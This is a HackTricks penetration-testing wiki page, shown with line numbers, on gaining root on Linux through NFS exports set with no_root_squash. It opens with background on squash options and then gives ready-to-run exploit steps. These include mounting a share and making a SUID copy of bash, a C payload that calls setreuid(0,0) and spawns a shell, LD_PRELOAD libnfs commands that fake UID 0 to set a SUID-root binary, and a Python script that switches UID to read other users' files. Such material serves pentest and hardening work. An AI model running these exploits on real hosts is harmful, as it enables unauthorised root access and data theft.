nfs-no-root-squash-misconfiguration-pe.md (6898B)
1 --- 2 title: "NFS No Root Squash Misconfiguration Privilege Escalation" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/interesting-files-permissions/nfs-no_root_squash-misconfiguration-pe.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/nfs-no_root_squash-misconfiguration-pe.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # NFS No Root Squash Misconfiguration Privilege Escalation 14 15 ## Squashing Basic Info 16 17 With NFS AUTH_SYS/AUTH_UNIX, the server bases file-permission checks on the `uid` and `gid` supplied in each RPC request. Other security flavors, such as Kerberos, use different credentials, and the server can map numeric credentials before checking permissions.<sup>[[4]](#references)[[5]](#references)</sup> 18 19 - **`all_squash`**: Maps every UID and GID to the anonymous account, which defaults to `nobody` (65534) on Linux. `no_all_squash` is the default for non-root requests.<sup>[[4]](#references)</sup> 20 - **`root_squash`**: This is the default on Linux and maps requests with UID/GID 0 (root) to the anonymous account; other UIDs and GIDs are not squashed.<sup>[[4]](#references)</sup> 21 - **`no_root_squash`**: Disables root squashing, so requests with UID/GID 0 can be evaluated as root on the server.<sup>[[4]](#references)</sup> 22 23 If an allowed client can mount a writable export in **`/etc/exports`** configured with **`no_root_squash`**, its UID/GID 0 requests can write there as the server's root user.<sup>[[4]](#references)</sup> 24 25 For more information about **NFS** check: 26 27 [Nfs Service Pentesting](/hacktricks/network-services-pentesting/nfs-service-pentesting) 28 29 ## Privilege Escalation 30 31 ### Remote Exploit 32 33 Option 1 using bash: 34 - On an allowed client, mount a writable export as root, copy **`/bin/bash`** into it, set its **SUID** bit, and execute it from a victim mount that does not use `nosuid`.<sup>[[2]](#references)[[4]](#references)</sup> 35 - For the uploaded file to remain owned by root, the server must use **`no_root_squash`**. If root is squashed, a SUID binary for another account is possible only when the client can legitimately create or own it with that account's numeric UID/GID.<sup>[[4]](#references)</sup> 36 37 ```bash 38 #Attacker, as root user 39 mkdir /tmp/pe 40 mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe 41 cd /tmp/pe 42 cp /bin/bash . 43 chmod +s bash 44 45 #Victim 46 cd <SHAREDD_FOLDER> 47 ./bash -p #ROOT shell 48 ``` 49 50 Option 2 using compiled C code: 51 - Mount the directory from an allowed client, copy in a compiled payload that abuses SUID permissions, set its **SUID** bit, and execute it from the victim (see some [C SUID payloads](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute#c)). 52 - Same restrictions as before 53 54 ```bash 55 #Attacker, as root user 56 gcc payload.c -o payload 57 mkdir /tmp/pe 58 mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe 59 cd /tmp/pe 60 cp /tmp/payload . 61 chmod +s payload 62 63 #Victim 64 cd <SHAREDD_FOLDER> 65 ./payload #ROOT shell 66 ``` 67 68 ### Local Exploit 69 70 > [!TIP] 71 > Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ 72 > The following trick is useful when `/etc/exports` restricts the export to the victim's IP: the remote client cannot mount it, but the local technique can operate through the share already mounted on the allowed host.<sup>[[2]](#references)</sup>\ 73 > For this unprivileged libnfs method, the export in **`/etc/exports`** must use the `insecure` flag so the process can use a non-reserved source port; `secure` is the default, although a process able to bind a reserved port does not need this option.<sup>[[1]](#references)[[4]](#references)</sup> 74 75 ### Basic Information 76 77 An NFSv3 AUTH_UNIX client includes its effective UID, GID, and groups in each call, and the server uses them for permission checks. This local technique abuses that model by forging the RPC credentials through [libnfs](https://github.com/sahlberg/libnfs); its preload module supports overriding the UID/GID in the NFS context.<sup>[[1]](#references)[[2]](#references)[[3]](#references)[[5]](#references)</sup> 78 79 #### Compiling the Library 80 81 The libnfs example may require adjustments for the target kernel; the walkthrough used here specifically notes commenting out the fallocate syscalls before compiling the preload module.<sup>[[1]](#references)[[2]](#references)</sup> 82 83 ```bash 84 ./bootstrap 85 ./configure 86 make 87 gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ 88 ``` 89 90 #### Conducting the Exploit 91 92 The example creates a small C helper that launches a shell, then places it on the share and uses `ld_nfs.so` with UID 0 in the NFS context to make it SUID-root.<sup>[[1]](#references)[[2]](#references)</sup> 93 94 1. **Compile the exploit code:** 95 96 ```bash 97 cat pwn.c 98 int main(void){setreuid(0,0); system("/bin/bash"); return 0;} 99 gcc pwn.c -o a.out 100 ``` 101 102 2. **Place the exploit on the share and modify its permissions by faking the UID**.<sup>[[1]](#references)[[2]](#references)</sup> 103 104 ```bash 105 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ 106 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out 107 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out 108 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out 109 ``` 110 111 3. **Execute the exploit to gain root privileges**.<sup>[[2]](#references)</sup> 112 113 ```bash 114 /mnt/share/a.out 115 #root 116 ``` 117 118 ### Bonus: NFShell for Stealthy File Access 119 120 Once root access is obtained, this `nfsh.py` pattern sets the effective UID to the target file's UID before running a command, allowing access without recursively changing ownership.<sup>[[2]](#references)</sup> 121 122 ```python 123 #!/usr/bin/env python 124 # script from https://www.errno.fr/nfs_privesc.html 125 import sys 126 import os 127 128 def get_file_uid(filepath): 129 try: 130 uid = os.stat(filepath).st_uid 131 except OSError as e: 132 return get_file_uid(os.path.dirname(filepath)) 133 return uid 134 135 filepath = sys.argv[-1] 136 uid = get_file_uid(filepath) 137 os.setreuid(uid, uid) 138 os.system(' '.join(sys.argv[1:])) 139 ``` 140 141 Run like: 142 143 ```bash 144 # ll ./mount/ 145 drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old 146 ``` 147 148 ## References 149 150 - [1] [lnv42/libnfs](https://github.com/lnv42/libnfs) 151 - [2] [A tale of a lesser known NFS privesc](https://www.errno.fr/nfs_privesc.html) 152 - [3] [sahlberg/libnfs](https://github.com/sahlberg/libnfs) 153 - [4] [exports(5) — Linux manual page](https://man7.org/linux/man-pages/man5/exports.5.html) 154 - [5] [RFC 1813: NFS Version 3 Protocol Specification](https://datatracker.ietf.org/doc/html/rfc1813)